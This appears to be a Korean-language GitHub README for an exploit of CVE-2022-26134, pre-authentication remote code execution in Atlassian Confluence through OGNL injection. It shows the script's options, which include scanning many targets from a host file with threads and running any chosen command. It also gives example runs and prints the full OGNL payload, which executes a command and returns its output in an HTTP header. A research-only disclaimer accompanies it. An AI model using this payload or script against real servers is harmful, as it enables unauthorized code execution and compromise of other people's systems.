hev0x/cve-2022-26134OGNL 인젝션을 통한 Confluence 사전 인증 원격 코드 실행 (CVE-2022-26134)
Confluence 사전 인증 원격 코드 실행 - OGNL 인젝션 (CVE-2022-26134)
이 익스플로잇은 연구자가 취약점을 시연하는 목적으로만 사용됩니다. 불법적인 행위를 권장하지 않으며, 이 스크립트의 악의적인 사용에 대해 어떠한 책임도 지지 않습니다.
python3 exploit.py -h
Usage: exploit.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri (ex. http://target-uri/)
-f FILEHOSTS, --file=FILEHOSTS
example.txt
-t THREADS_SET, --threads=THREADS_SET
-m TIMEOUT, --maxtimeout=TIMEOUT
-o OUTPUT, --output=OUTPUT
-c COMMAND, --cmd=COMMAND
$ python3 exploit.py -u http://xxxxx.com -c id
$ python3 exploit.py -f urls.txt -p -c id
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}